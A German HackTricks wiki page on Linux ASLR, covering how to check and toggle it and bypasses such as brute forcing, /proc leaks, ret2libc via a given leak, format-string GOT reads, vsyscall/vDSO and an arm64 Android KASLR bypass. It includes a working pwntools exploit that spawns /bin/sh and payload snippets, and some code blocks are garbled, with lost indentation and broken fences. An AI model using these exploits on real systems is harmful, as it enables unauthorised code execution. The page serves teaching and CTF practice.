ASLR

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Address Space Layout Randomization (ASLR) ist eine Sicherheitstechnik, die in Betriebssystemen verwendet wird, um die Speicheradressen, die von System- und Anwendungsprozessen verwendet werden, zu randomisieren. Dadurch wird es für einen Angreifer erheblich schwieriger, den Standort bestimmter Prozesse und Daten vorherzusagen, wie z. B. stack, heap und libraries, und es werden damit bestimmte Exploit-Typen, insbesondere buffer overflows, abgeschwächt.

ASLR-Status überprüfen

Um den ASLR-Status auf einem Linux-System zu überprüfen, können Sie den Wert aus der Datei /proc/sys/kernel/randomize_va_space auslesen. Der in dieser Datei gespeicherte Wert bestimmt, welche Art von ASLR angewendet wird:

  • 0: Keine Randomisierung. Alles ist statisch.
  • 1: Konservative Randomisierung. Shared libraries, stack, mmap(), VDSO page werden randomisiert.
  • 2: Volle Randomisierung. Zusätzlich zu den Elementen, die bei konservativer Randomisierung randomisiert werden, wird auch der über brk() verwaltete Speicher randomisiert.

Sie können den ASLR-Status mit folgendem Befehl prüfen:

cat /proc/sys/kernel/randomize_va_space

ASLR deaktivieren

Um ASLR zu deaktivieren, setzen Sie den Wert von /proc/sys/kernel/randomize_va_space auf 0. Das Deaktivieren von ASLR wird in der Regel außerhalb von Test- oder Debugging-Szenarien nicht empfohlen. So können Sie es deaktivieren:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Du kannst ASLR für eine Ausführung auch deaktivieren mit:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

ASLR aktivieren

Um ASLR zu aktivieren, können Sie den Wert 2 in die Datei /proc/sys/kernel/randomize_va_space schreiben. Dies erfordert in der Regel Root-Rechte. Vollständige Randomisierung lässt sich mit folgendem Befehl aktivieren:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Persistenz über Neustarts

Mit den echo-Befehlen vorgenommenen Änderungen sind temporär und werden beim Neustart zurückgesetzt. Um die Änderung dauerhaft zu machen, müssen Sie die Datei /etc/sysctl.conf bearbeiten und folgende Zeile hinzufügen oder ändern:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Nach dem Bearbeiten von /etc/sysctl.conf wenden Sie die Änderungen mit folgendem Befehl an:

sudo sysctl -p

Dies stellt sicher, dass deine ASLR-Einstellungen über Neustarts hinweg erhalten bleiben.

Umgehungen

32bit brute-forcing

PaX teilt den Prozess-Adressraum in 3 Gruppen auf:

  • Code und Daten (initialisiert und uninitialisiert): .text, .data, und .bss —> 16 bits Entropie in der Variable delta_exec. Diese Variable wird bei jedem Prozess zufällig initialisiert und zu den Anfangsadressen addiert.
  • Speicher, der durch mmap() alloziert wird, und shared libraries —> 16 bits, genannt delta_mmap.
  • Der Stack —> 24 bits, bezeichnet als delta_stack. Allerdings verwendet er effektiv 11 bits (vom 10. bis zum 20. Byte inklusive), ausgerichtet auf 16 bytes —> Dies ergibt 524,288 mögliche reale Stack-Adressen.

Die vorherigen Angaben gelten für 32-Bit-Systeme und die reduzierte finale Entropie macht es möglich, ASLR zu umgehen, indem die Ausführung wiederholt gestartet wird, bis der Exploit erfolgreich ausgeführt wurde.

Brute-force ideas:

  • Wenn du einen groß genug Overflow hast, um ein großes NOP sled vor dem shellcode unterzubringen, könntest du einfach Adressen im Stack brute-forcen, bis der Ablauf über einen Teil des NOP sled springt.
  • Eine andere Option, falls der Overflow nicht so groß ist und der Exploit lokal ausgeführt werden kann, ist, das NOP sled und den shellcode in einer Umgebungsvariable zu platzieren.
  • Wenn der Exploit lokal ist, kannst du versuchen, die Basisadresse von libc brute-forcen (nützlich für 32bit-Systeme):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Wenn du einen remote server angreifst, könntest du versuchen, brute-force die Adresse der libc-Funktion usleep, wobei du z. B. 10 als Argument übergibst. Wenn der server zu einem Zeitpunkt 10s länger zum Antworten braucht, hast du die Adresse dieser Funktion gefunden.

Tip

In 64-Bit-Systemen ist die Entropie deutlich höher und das sollte nicht möglich sein.

64 bits stack brute-forcing

Es ist möglich, einen großen Teil des stack mit env variables zu belegen und dann das binary hunderte/tausende Male lokal auszunutzen, um es zu exploiten.
Der folgende Code zeigt, wie es möglich ist, einfach eine Adresse im stack auszuwählen und dass bei einigen hundert Ausführungen diese Adresse die NOP instruction enthalten wird:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force stack NOP Erkennung ```python import subprocess import traceback

Start the process

nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops

Define the environment variables you want to set

env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }

cont = 0 while True: cont += 1

if cont % 10000 == 0: break

print(cont, end=“\r”)

Define the path to your binary

binary_path = ‘./aslr-testing’

try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass

</details>

<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>

### Lokale Informationen (`/proc/[pid]/stat`)

Die Datei **`/proc/[pid]/stat`** eines Prozesses ist für jeden lesbar und sie **enthält interessante** Informationen wie:

- **startcode** & **endcode**: Adressen oberhalb und unterhalb des **TEXT** des Binaries
- **startstack**: Die Adresse des Anfangs des **stack**
- **start_data** & **end_data**: Adressen oberhalb und unterhalb, wo sich die **BSS** befindet
- **kstkesp** & **kstkeip**: Aktuelle **ESP**- und **EIP**-Adressen
- **arg_start** & **arg_end**: Adressen oberhalb und unterhalb, wo sich **cli arguments** befinden.
- **env_start** &**env_end**: Adressen oberhalb und unterhalb, wo sich **env variables** befinden.

Daher — wenn sich der Angreifer auf demselben Rechner wie das auszunutzende Binary befindet und dieses Binary den Overflow nicht aus rohen Argumenten, sondern aus einer anderen **Eingabe, die nach dem Lesen dieser Datei erstellt werden kann**, erwartet — ist es möglich, dass der Angreifer **einige Adressen aus dieser Datei ausliest und daraus Offsets für den exploit konstruiert**.

> [!TIP]
> Für mehr Informationen zu dieser Datei siehe [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) und suche nach `/proc/pid/stat`

### Vorhandener leak

- **Die Challenge gibt einen leak**

Wenn dir ein leak gegeben wird (einfache CTF challenges), kannst du daraus Offsets berechnen (vorausgesetzt, du kennst z. B. die exakte libc-Version, die im System verwendet wird, das du exploitierst). Dieser Beispiel-Exploit wurde aus dem [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) entnommen (siehe diese Seite für mehr Details):

<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Durch Ausnutzung eines buffer overflows ist es möglich, einen ret2plt zu verwenden, um die Adresse einer Funktion aus der libc zu exfiltrieren. Siehe:

Ret2plt

  • Format Strings Arbitrary Read

Wie bei ret2plt, wenn du ein arbitrary read via einer format strings vulnerability hast, ist es möglich, die Adresse einer libc function aus der GOT zu exfiltrieren. Das folgende example is from here:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

You can find more info about Format Strings arbitrary read in:

Format Strings

Ret2ret & Ret2pop

Try to bypass ASLR abusing addresses inside the stack:

Ret2ret & Reo2pop

vsyscall

Der vsyscall-Mechanismus dient der Performance-Verbesserung, indem er erlaubt, bestimmte Systemaufrufe im Userspace auszuführen, obwohl sie grundlegend Teil des Kernel sind. Der entscheidende Vorteil von vsyscalls liegt in ihren festen Adressen, die nicht der ASLR (Address Space Layout Randomization) unterliegen. Diese feste Natur bedeutet, dass Angreifer keine information leak vulnerability benötigen, um ihre Adressen zu bestimmen und in einem Exploit zu verwenden.
Allerdings werden hier keine besonders interessanten gadgets zu finden sein (obwohl es beispielsweise möglich ist, ein ret;-Äquivalent zu bekommen)

(Das folgende Beispiel und der Code sind from this writeup)

Zum Beispiel könnte ein Angreifer die Adresse 0xffffffffff600800 in einem Exploit verwenden. Ein direkter Sprung zu einer ret-Anweisung kann jedoch nach Ausführung einiger gadgets zu Instabilität oder Abstürzen führen; ein Sprung zum Beginn eines syscall, der vom vsyscall-Abschnitt bereitgestellt wird, kann sich dagegen als erfolgreich erweisen. Durch das sorgfältige Platzieren eines ROP-gadgets, das die Ausführung zu dieser vsyscall-Adresse führt, kann ein Angreifer Codeausführung erreichen, ohne für diesen Teil des Exploits ASLR umgehen zu müssen.

Beispiel vmmap/vsyscall und gadget lookup ```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```

vDSO

Beachte daher, wie es möglich sein könnte, bypass ASLR abusing the vdso wenn der Kernel mit CONFIG_COMPAT_VDSO kompiliert ist, da die vdso-Adresse nicht randomisiert wird. Für mehr Infos siehe:

Ret2vDSO

KASLR on ARM64 (Android): bypass via fixed linear map

In vielen arm64 Android-Kerneln ist die kernel linear map (direct map) Basis über Boots hinweg fest. Kernel-VAs für physische Seiten werden dadurch vorhersehbar, was KASLR für Ziele, die über die direct map erreichbar sind, bricht.

  • For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
  • PAGE_OFFSET = 0xffffff8000000000
  • PHYS_OFFSET = memstart_addr (exported symbol)
  • Translation: virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)

Leaking PHYS_OFFSET (rooted or with a kernel read primitive)

  • grep memstart /proc/kallsyms um memstart_addr zu finden
  • Lese 8 Bytes an dieser Adresse (LE) mit beliebigem kernel read (z. B. tracing-BPF helper, der BPF_FUNC_probe_read_kernel aufruft)
  • Berechne direct-map VAs: virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)

Exploitation impact

  • Kein separater KASLR leak nötig, wenn das Ziel in/über die direct map erreichbar ist (z. B. page tables, Kernel-Objekte auf physischen Seiten, die du beeinflussen/beobachten kannst).
  • Vereinfacht zuverlässiges arbitäres R/W und das Anvisieren von Kernel-Daten auf arm64 Android.

Reproduction summary

  1. grep memstart /proc/kallsyms -> Adresse von memstart_addr
  2. Kernel read -> dekodiere 8 Bytes LE -> PHYS_OFFSET
  3. Verwende virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET) mit PAGE_OFFSET=0xffffff8000000000

Note

Access to tracing-BPF helpers requires sufficient privileges; any kernel read primitive or info leak suffices to obtain PHYS_OFFSET.

How it’s fixed

  • Begrenzter Kernel-VA-Space plus CONFIG_MEMORY_HOTPLUG reserviert VA für zukünftigen hotplug, wodurch die linear map an die niedrigste VA (fixe Basis) geschoben wird.
  • Upstream arm64 removed linear-map randomization (commit 1db780bafa4c).

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks